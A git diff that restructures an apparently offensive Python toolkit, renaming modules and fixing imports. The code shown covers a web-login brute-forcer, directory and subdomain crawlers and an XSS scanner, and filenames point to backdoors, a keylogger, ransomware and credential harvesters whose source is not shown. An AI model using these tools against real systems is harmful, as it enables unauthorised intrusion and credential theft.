b/pyhtools/attackers/Websites/crawler.py similarity index 98% rename from attackers/Websites/website_crawler/crawler.py rename to pyhtools/attackers/Websites/crawler.py index 31d1950..ee5ed79 100644 --- a/attackers/Websites/website_crawler/crawler.py +++ b/pyhtools/attackers/Websites/crawler.py @@ -2,7 +2,7 @@ import os import argparse import sys -from UI.colors import * +from pyhtools.UI.colors import * def get_args()->dict: @@ -79,6 +79,7 @@ def check_directories(domain:str, dir_name:str)->bool: if request(url): print('[*] Valid Directory : ', url) + return True else: return False diff --git a/attackers/Websites/get_form/get_forms.py b/pyhtools/attackers/Websites/get_forms.py similarity index 98% rename from attackers/Websites/get_form/get_forms.py rename to pyhtools/attackers/Websites/get_forms.py index c9bbf44..cd86d40 100644 --- a/attackers/Websites/get_form/get_forms.py +++ b/pyhtools/attackers/Websites/get_forms.py @@ -1,11 +1,10 @@ -#!usr/bin/env python3 import requests from bs4 import BeautifulSoup from urllib.parse import urljoin # Beta Tool def remove_escape_seq(content:str)->str: - r''' + ''' desc: removes \r \t \n from the html parsed content if present. params: content(str) returns: str diff --git a/attackers/Websites/login_guesser/login.py b/pyhtools/attackers/Websites/login_guesser.py similarity index 96% rename from attackers/Websites/login_guesser/login.py rename to pyhtools/attackers/Websites/login_guesser.py index 7d5ac42..4860711 100644 --- a/attackers/Websites/login_guesser/login.py +++ b/pyhtools/attackers/Websites/login_guesser.py @@ -2,7 +2,7 @@ import requests import os import sys -from UI.colors import * +from pyhtools.UI.colors import * def bruteforce_login(target_url:str, wordlist_file:str, post_values:dict): # tested on DVWA web app. diff --git a/attackers/Websites/spider/spider.py b/pyhtools/attackers/Websites/spider.py similarity index 98% rename from attackers/Websites/spider/spider.py rename to pyhtools/attackers/Websites/spider.py index 0f69cf6..0f63ed3 100644 --- a/attackers/Websites/spider/spider.py +++ b/pyhtools/attackers/Websites/spider.py @@ -4,7 +4,7 @@ import re from urllib.parse import urljoin import argparse -from UI.colors import * +from pyhtools.UI.colors import * # list to save links on the whole webpage diff --git a/attackers/Websites/vuln_scanner/README.md b/pyhtools/attackers/Websites/vuln_scanner/README.md similarity index 100% rename from attackers/Websites/vuln_scanner/README.md rename to pyhtools/attackers/Websites/vuln_scanner/README.md diff --git a/attackers/Websites/vuln_scanner/scanner.py b/pyhtools/attackers/Websites/vuln_scanner/scanner.py similarity index 94% rename from attackers/Websites/vuln_scanner/scanner.py rename to pyhtools/attackers/Websites/vuln_scanner/scanner.py index c85fadd..b63ad62 100644 --- a/attackers/Websites/vuln_scanner/scanner.py +++ b/pyhtools/attackers/Websites/vuln_scanner/scanner.py @@ -4,8 +4,8 @@ import re from urllib.parse import urljoin from bs4 import BeautifulSoup -from UI.colors import BRIGHT_RED, BRIGHT_WHITE, BRIGHT_YELLOW -from time import sleep +from pyhtools.UI.colors import BRIGHT_RED, BRIGHT_WHITE, BRIGHT_YELLOW + class Scanner: def __init__(self, url:str, ignore_links:list) -> None: @@ -131,20 +131,21 @@ def is_xss_vulnerable_in_form(self, form, url)->bool: return test_script_payload in response_content - def is_xss_vulnerable_in_link(self, url): + def is_xss_vulnerable_in_link(self, url, payload=None): ''' description: tests whether the passed url is xss vulnerable or not. returns True if vulnerable. - params: form, url + params: form, url, payload returns: bool ''' - test_script_payload = "" - url = url.replace('=',f'={test_script_payload}') + if payload is None: + payload = "" + url = url.replace('=',f'={payload}') response_content = self.get_page_content(url) # response = BeautifulSoup(response_content, 'html.parser') # print(BRIGHT_YELLOW + '[-] RESPONSE: \n', response.prettify()) - return test_script_payload in response_content + return payload in response_content def run(self): diff --git a/attackers/Websites/vuln_scanner/sqli.py b/pyhtools/attackers/Websites/vuln_scanner/sqli.py similarity index 100% rename from attackers/Websites/vuln_scanner/sqli.py rename to pyhtools/attackers/Websites/vuln_scanner/sqli.py diff --git a/attackers/Websites/vuln_scanner/test.txt b/pyhtools/attackers/Websites/vuln_scanner/test.txt similarity index 100% rename from attackers/Websites/vuln_scanner/test.txt rename to pyhtools/attackers/Websites/vuln_scanner/test.txt diff --git a/attackers/Websites/vuln_scanner/vuln_scanner.py b/pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py similarity index 98% rename from attackers/Websites/vuln_scanner/vuln_scanner.py rename to pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py index cf85c69..ac08b01 100644 --- a/attackers/Websites/vuln_scanner/vuln_scanner.py +++ b/pyhtools/attackers/Websites/vuln_scanner/vuln_scanner.py @@ -1,6 +1,6 @@ import scanner import argparse -from UI.colors import * +from pyhtools.UI.colors import * import sys diff --git a/pyhtools/attackers/__init__.py b/pyhtools/attackers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/attackers/attackers.py b/pyhtools/attackers/attackers.py similarity index 65% rename from attackers/attackers.py rename to pyhtools/attackers/attackers.py index 5b2331a..a58b9fd 100644 --- a/attackers/attackers.py +++ b/pyhtools/attackers/attackers.py @@ -1,13 +1,13 @@ -#!usr/bin/env python3 -from UI.colors import * import json -import attackers.Network.arpspoofer as arp -import attackers.Network.nwscan as nwscan -import attackers.Network.machngr as machngr -import attackers.Websites.login_guesser.login as web_login -import attackers.Websites.spider.spider as spider -import attackers.Websites.website_crawler.crawler as crawler -from attackers.Websites.vuln_scanner.scanner import Scanner +import pyhtools.attackers.Network.arpspoofer as arp +import pyhtools.attackers.Network.nwscan as nwscan +import pyhtools.attackers.Network.machngr as machngr +import pyhtools.attackers.Websites.login_guesser as web_login +import pyhtools.attackers.Websites.spider as spider +import pyhtools.attackers.Websites.crawler as crawler + +from pyhtools.UI.colors import * +from pyhtools.attackers.Websites.vuln_scanner.scanner import Scanner # NETWORK ATTACKS @@ -45,12 +45,13 @@ def mac_changer(): returns: None ''' interface = input('[+] Interface : ') - print(BRIGHT_YELLOW + '[!] To generate random mac enter "random" (without quotes)') + print(BRIGHT_YELLOW + + '[!] To generate random mac enter "random" (without quotes)') new_mac = input('[+] New Mac : ') if new_mac == 'random': print(BRIGHT_WHITE + '[*] Generating Random Mac') new_mac = machngr.generate_random_mac() - + machngr.run_macchanger(interface, new_mac) @@ -64,7 +65,8 @@ def brute_login(): ''' target_url = input('[+] TARGET URL : ') wordlist_file = input('[+] WORDLIST PATH : ') - print(BRIGHT_YELLOW + '[!] Enter string in post values, eg. {"username":"admin", "password":"", "Login":"submit"} (inspect element in your webbrowser)') + print(BRIGHT_YELLOW + + '[!] Enter string in post values, eg. {"username":"admin", "password":"", "Login":"submit"} (inspect element in your webbrowser)') post_data = input('[+] POST VALUES : ') .strip() post_values = json.loads(post_data) @@ -79,24 +81,27 @@ def webvulnscan(): ''' target_url = input('[+] TARGET URL : ') - - print(BRIGHT_YELLOW + '[!] Enter links to be ignored separated by commas(,)') + print(BRIGHT_YELLOW + + '[!] Enter links to be ignored separated by commas(,)') ignore_links = input('[+] IGNORE LINKS : ') ignore_links = [link.strip() for link in ignore_links.split(',')] vuln_scanner = Scanner(target_url, ignore_links) - auth_required = input('[+] AUTH REQUIRED? (y/n) (default=n): ').lower().strip() + auth_required = input( + '[+] AUTH REQUIRED? (y/n) (default=n): ').lower().strip() login_link = '' - login_post_values ='' + login_post_values = '' if auth_required == 'y': - login_link = input('[+] LOGIN LINK : ') - print(BRIGHT_YELLOW + "[!] Enter login post values, eg: {'username':'yourusername', 'password':'yourpassword', 'login':'submit'}") - print(BRIGHT_WHITE + '[!] Inspect element in webbrowser to extract values, they might vary for every website.') + login_link = input('[+] LOGIN LINK : ') + print(BRIGHT_YELLOW + + "[!] Enter login post values, eg: {'username':'yourusername', 'password':'yourpassword', 'login':'submit'}") + print(BRIGHT_WHITE + + '[!] Inspect element in webbrowser to extract values, they might vary for every website.') login_post_values = input('[+] LOGIN POST VALUES : ') login_post_values = json.loads(login_post_values) - + vuln_scanner.session.post(login_link, data=login_post_values) vuln_scanner.run() @@ -120,7 +125,8 @@ def webcrawldirs(): ''' target_url = input('[+] TARGET URL : ') wordlist_path = input('[+] WORDLIST PATH : ') - crawler.perform_function(crawler.check_directories, wordlist_path, target_url) + crawler.perform_function(crawler.check_directories, + wordlist_path, target_url) def webcrawlsubdom(): @@ -131,8 +137,9 @@ def webcrawlsubdom(): ''' target_url = input('[+] TARGET URL : ') wordlist_path = input('[+] WORDLIST PATH : ') - crawler.perform_function(crawler.check_subdomain, wordlist_path, target_url) + crawler.perform_function(crawler.check_subdomain, + wordlist_path, target_url) if __name__ == "__main__": - print('[*] Attackers module!. Exiting...') \ No newline at end of file + print('[*] Attackers module!. Exiting...') diff --git a/pyhtools/detectors/__init__.py b/pyhtools/detectors/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/detectors/arp_spoof_detector.py b/pyhtools/detectors/arp_spoof_detector.py similarity index 100% rename from detectors/arp_spoof_detector.py rename to pyhtools/detectors/arp_spoof_detector.py diff --git a/malwares/TelegramRemoteCodeExecutor/HowToUse.md b/pyhtools/malwares/TelegramRemoteCodeExecutor/HowToUse.md similarity index 100% rename from malwares/TelegramRemoteCodeExecutor/HowToUse.md rename to pyhtools/malwares/TelegramRemoteCodeExecutor/HowToUse.md diff --git a/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py b/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py similarity index 100% rename from malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py rename to pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py diff --git a/malwares/Trojans/HowToCreateTrojanPackage.md b/pyhtools/malwares/Trojans/HowToCreateTrojanPackage.md similarity index 100% rename from malwares/Trojans/HowToCreateTrojanPackage.md rename to pyhtools/malwares/Trojans/HowToCreateTrojanPackage.md diff --git a/malwares/Trojans/icons/pdf_icon.ico b/pyhtools/malwares/Trojans/icons/pdf_icon.ico similarity index 100% rename from malwares/Trojans/icons/pdf_icon.ico rename to pyhtools/malwares/Trojans/icons/pdf_icon.ico diff --git a/malwares/Trojans/payloads/download_and_execute/download_and_execute.py b/pyhtools/malwares/Trojans/payloads/download_and_execute/download_and_execute.py similarity index 100% rename from malwares/Trojans/payloads/download_and_execute/download_and_execute.py rename to pyhtools/malwares/Trojans/payloads/download_and_execute/download_and_execute.py diff --git a/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py b/pyhtools/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py similarity index 100% rename from malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py rename to pyhtools/malwares/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py diff --git a/pyhtools/malwares/__init__.py b/pyhtools/malwares/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/malwares/credential_harvester/credential_harvester.py b/pyhtools/malwares/credential_harvester/credential_harvester.py similarity index 100% rename from malwares/credential_harvester/credential_harvester.py rename to pyhtools/malwares/credential_harvester/credential_harvester.py diff --git a/malwares/downloader/downloader.py b/pyhtools/malwares/downloader/downloader.py similarity index 100% rename from malwares/downloader/downloader.py rename to pyhtools/malwares/downloader/downloader.py diff --git a/executables/generate.py b/pyhtools/malwares/executables/generate.py similarity index 100% rename from executables/generate.py rename to pyhtools/malwares/executables/generate.py diff --git a/malwares/keylogger/dlogs.py b/pyhtools/malwares/keylogger/dlogs.py similarity index 100% rename from malwares/keylogger/dlogs.py rename to pyhtools/malwares/keylogger/dlogs.py diff --git a/malwares/keylogger/keylogger.py b/pyhtools/malwares/keylogger/keylogger.py similarity index 100% rename from malwares/keylogger/keylogger.py rename to pyhtools/malwares/keylogger/keylogger.py diff --git a/malwares/reverse_backdoor/HTTP/HowToUse.md b/pyhtools/malwares/reverse_backdoor/HTTP/HowToUse.md similarity index 100% rename from malwares/reverse_backdoor/HTTP/HowToUse.md rename to pyhtools/malwares/reverse_backdoor/HTTP/HowToUse.md diff --git a/malwares/reverse_backdoor/HTTP/backdoor.py b/pyhtools/malwares/reverse_backdoor/HTTP/backdoor.py similarity index 100% rename from malwares/reverse_backdoor/HTTP/backdoor.py rename to pyhtools/malwares/reverse_backdoor/HTTP/backdoor.py diff --git a/malwares/reverse_backdoor/HTTP/listener.py b/pyhtools/malwares/reverse_backdoor/HTTP/listener.py similarity index 100% rename from malwares/reverse_backdoor/HTTP/listener.py rename to pyhtools/malwares/reverse_backdoor/HTTP/listener.py diff --git a/malwares/reverse_backdoor/TCP/HowToUse.md b/pyhtools/malwares/reverse_backdoor/TCP/HowToUse.md similarity index 100% rename from malwares/reverse_backdoor/TCP/HowToUse.md rename to pyhtools/malwares/reverse_backdoor/TCP/HowToUse.md diff --git a/malwares/reverse_backdoor/TCP/listener.py b/pyhtools/malwares/reverse_backdoor/TCP/listener.py similarity index 100% rename from malwares/reverse_backdoor/TCP/listener.py rename to pyhtools/malwares/reverse_backdoor/TCP/listener.py diff --git a/malwares/reverse_backdoor/TCP/reverse_backdoor.py b/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py similarity index 100% rename from malwares/reverse_backdoor/TCP/reverse_backdoor.py rename to pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py diff --git a/malwares/send_mail/how to.txt b/pyhtools/malwares/send_mail/how to.txt similarity index 100% rename from malwares/send_mail/how to.txt rename to pyhtools/malwares/send_mail/how to.txt diff --git a/malwares/send_mail/send_mail.py b/pyhtools/malwares/send_mail/send_mail.py similarity index 100% rename from malwares/send_mail/send_mail.py rename to pyhtools/malwares/send_mail/send_mail.py diff --git a/malwares/telegram_data_harvester/HowToUse.md b/pyhtools/malwares/telegram_data_harvester/HowToUse.md similarity index 100% rename from malwares/telegram_data_harvester/HowToUse.md rename to pyhtools/malwares/telegram_data_harvester/HowToUse.md diff --git a/malwares/telegram_data_harvester/telegram_data_harvester.py b/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py similarity index 100% rename from malwares/telegram_data_harvester/telegram_data_harvester.py rename to pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py diff --git a/malwares/wireless_password_harvester/HowToUse.txt b/pyhtools/malwares/wireless_password_harvester/HowToUse.txt similarity index 100% rename from malwares/wireless_password_harvester/HowToUse.txt rename to pyhtools/malwares/wireless_password_harvester/HowToUse.txt diff --git a/malwares/wireless_password_harvester/wireless_profile_harvester.py b/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py similarity index 100% rename from malwares/wireless_password_harvester/wireless_profile_harvester.py rename to pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py diff --git a/pyhtools/ransomwares/__init__.py b/pyhtools/ransomwares/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ransomwares/dmsec/HowToUse.md b/pyhtools/ransomwares/dmsec/HowToUse.md similarity index 100% rename from ransomwares/dmsec/HowToUse.md rename to pyhtools/ransomwares/dmsec/HowToUse.md diff --git a/ransomwares/dmsec/decrypter.py b/pyhtools/ransomwares/dmsec/decrypter.py similarity index 100% rename from ransomwares/dmsec/decrypter.py rename to pyhtools/ransomwares/dmsec/decrypter.py diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/pyhtools/ransomwares/dmsec/dmsec_ransomeware.py similarity index 100% rename from ransomwares/dmsec/dmsec_ransomeware.py rename to pyhtools/ransomwares/dmsec/dmsec_ransomeware.py diff --git a/pyhtools/worms/__init__.py b/pyhtools/worms/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/worms/dir_cloner.py b/pyhtools/worms/dir_cloner.py similarity index 100% rename from worms/dir_cloner.py rename to pyhtools/worms/dir_cloner.py diff --git a/requirements.txt b/requirements.txt index 436810a..cb501f3 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ scapy>=2.4.5 requests>=2.25.1 argparse>=1.4.0 -#netfilterqueue : sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue +#netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue pynput>=1.7.3 colorama>=0.4.4 beautifulsoup4>=4.9.3 @@ -10,3 +10,4 @@ prettytable>=2.1.0 kamene>=0.32 psutil>=5.8.0 pytelegrambotapi>=4.0.1 +pyfiglet \ No newline at end of file diff --git a/wordlists/README.md b/wordlists/README.md new file mode 100644 index 0000000..0b4c6e9 --- /dev/null +++ b/wordlists/README.md @@ -0,0 +1,20 @@ +# Wordlists + +Below wordlists are for testing purpose: + +- files-and-dirs-wordlist.txt +- subdomains-wordlist.txt +- test-wordlist.txt + +## To Get/Generate Wordlists + +- Get Wordlists: + - [Seclists Repo](https://github.com/danielmiessler/SecLists) + +- Generate Wordlists + - [BEWGor](https://github.com/berzerk0/BEWGor) + - [Mentalist](https://github.com/sc0tfree/mentalist) + +## Tools for Analyzing Wordlists + +- [Pipal](https://github.com/digininja/pipal) diff --git a/attackers/Websites/login_guesser/wordlist/common_pass.txt b/wordlists/common_pass.txt similarity index 100% rename from attackers/Websites/login_guesser/wordlist/common_pass.txt rename to wordlists/common_pass.txt diff --git a/attackers/Websites/website_crawler/wordlists/files-and-dirs-wordlist.txt b/wordlists/files-and-dirs-wordlist.txt similarity index 100% rename from attackers/Websites/website_crawler/wordlists/files-and-dirs-wordlist.txt rename to wordlists/files-and-dirs-wordlist.txt diff --git a/attackers/Websites/website_crawler/wordlists/subdomains-wordlist.txt b/wordlists/subdomains-wordlist.txt similarity index 100% rename from attackers/Websites/website_crawler/wordlists/subdomains-wordlist.txt rename to wordlists/subdomains-wordlist.txt diff --git a/attackers/Websites/website_crawler/wordlists/test-wordlist.txt b/wordlists/test-wordlist.txt similarity index 100% rename from attackers/Websites/website_crawler/wordlists/test-wordlist.txt rename to wordlists/test-wordlist.txt